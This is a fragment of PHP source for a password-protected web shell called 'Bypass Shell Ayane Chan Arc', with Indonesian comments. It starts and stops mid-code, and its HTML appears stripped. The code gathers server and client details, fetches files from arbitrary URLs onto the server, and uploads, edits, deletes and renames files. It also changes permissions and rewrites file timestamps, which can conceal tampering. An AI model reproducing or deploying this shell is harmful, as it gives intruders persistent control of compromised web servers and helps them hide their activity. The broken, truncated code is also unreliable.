";
}
}
// Proses logout
if (isset($_POST['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) {
// Tampilkan form login jika belum terautentikasi
echo '
Bypass Shell Ayane Chan Arc
';
exit;
}
// Fungsi untuk menampilkan informasi sistem
function displaySystemInfo() {
$info = [
'System' => php_uname(),
'PHP Version' => phpversion(),
'Server IP' => $_SERVER['SERVER_ADDR'],
'Client IP' => $_SERVER['REMOTE_ADDR'],
'Document Root' => $_SERVER['DOCUMENT_ROOT'],
'Server Software' => $_SERVER['SERVER_SOFTWARE'],
];
foreach ($info as $key => $value) {
echo "
$key: $value
";
}
}
// Fungsi untuk menampilkan informasi jaringan
function displayNetworkInfo() {
$info = [
'Hostname' => gethostname(),
'Server IP Address' => $_SERVER['SERVER_ADDR'],
'Client IP Address' => $_SERVER['REMOTE_ADDR'],
'Server Port' => $_SERVER['SERVER_PORT'],
'Client Port' => $_SERVER['REMOTE_PORT'],
'Request Method' => $_SERVER['REQUEST_METHOD'],
'User Agent' => $_SERVER['HTTP_USER_AGENT'],
];
foreach ($info as $key => $value) {
echo "
$key: $value
";
}
}
// Fungsi untuk mengubah tanggal modifikasi file
function changeFileDate($path, $newDate) {
$timestamp = strtotime($newDate);
if (touch($path, $timestamp)) {
echo "
Tanggal berhasil diubah.
";
} else {
echo "
Gagal mengubah tanggal.
";
}
}
// Fungsi upload file dari URL
function uploadFromUrl($url, $saveTo) {
$fileContent = @file_get_contents($url);
if ($fileContent === FALSE) {
echo "
";
}
// Fungsi upload file dari form
function uploadFromForm($file, $saveTo) {
if (@move_uploaded_file($file['tmp_name'], $saveTo)) {
echo "
File berhasil diupload: $saveTo
";
} else {
echo "
Gagal mengupload file.
";
}
}
// Fungsi untuk memecah nama file panjang menjadi beberapa baris
function format_filename($filename) {
return htmlspecialchars($filename);
}
// Fungsi untuk menampilkan warna merah untuk file atau folder yang terkunci atau milik root
function get_file_style($path) {
$perms = fileperms($path);
$owner = fileowner($path);
// Cek apakah file milik root atau memiliki izin terbatas
if ($owner === 0 || !is_writable($path)) {
return "color: red;"; // Warna merah
}
return ""; // Warna default
}
// Fungsi untuk menampilkan direktori dan file
function display_path_links($dir) {
if (is_dir($dir)) {
$folders = [];
$files = [];
$items = scandir($dir);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
if (is_dir($dir . '/' . $item)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
foreach ($folders as $folder) {
$folderPath = realpath($dir . '/' . $folder);
$encodedPath = urlencode(base64_encode($folderPath));
$style = get_file_style($folderPath);
echo "
";
return;
}
if (is_dir($path)) {
if (@rmdir($path)) {
echo "
Direktori berhasil dihapus.
";
} else {
echo "
Gagal menghapus direktori.
";
}
} else {
if (@unlink($path)) {
echo "
File berhasil dihapus.
";
} else {
echo "
Gagal menghapus file.
";
}
}
}
// Fungsi untuk rename file/folder
function renameFile($source, $destination) {
$source = base64_decode(urldecode($source));
if (empty($source) || empty($destination)) {
echo "
Path tidak boleh kosong.
";
return;
}
if (@rename($source, $destination)) {
echo "
File berhasil diganti namanya.
";
} else {
echo "
Gagal mengganti nama file.
";
}
}
// Fungsi untuk mengubah chmod
function changePermissions($path, $mode, $copyFrom = null, $manual = false) {
$path = base64_decode(urldecode($path));
if (empty($path)) {
echo "
Path tidak boleh kosong.
";
return;
}
if ($copyFrom) {
$copyFrom = realpath($copyFrom);
if ($copyFrom && file_exists($copyFrom)) {
$mode = @fileperms($copyFrom) & 0777; // Ambil izin chmod dari file lain
} else {
echo "
File sumber chmod tidak ditemukan.
";
return;
}
} elseif ($manual) {
$mode = str2oct($mode); // Konversi dari format string ke oktal
} else {
$mode = octdec($mode);
}
if (@chmod($path, $mode)) {
echo "
Chmod berhasil diubah.
";
} else {
echo "
Gagal mengubah chmod.
";
}
}
// Fungsi untuk mengubah tanggal modifikasi file
function changeDate($path, $newdate) {
$path = base64_decode(urldecode($path));
if (empty($path)) {
echo "
Path tidak boleh kosong.
";
return;
}
changeFileDate($path, $newdate);
}
// Fungsi untuk mengedit file
function editFile($path, $content) {
$path = base64_decode(urldecode($path));
if (empty($path)) {
echo "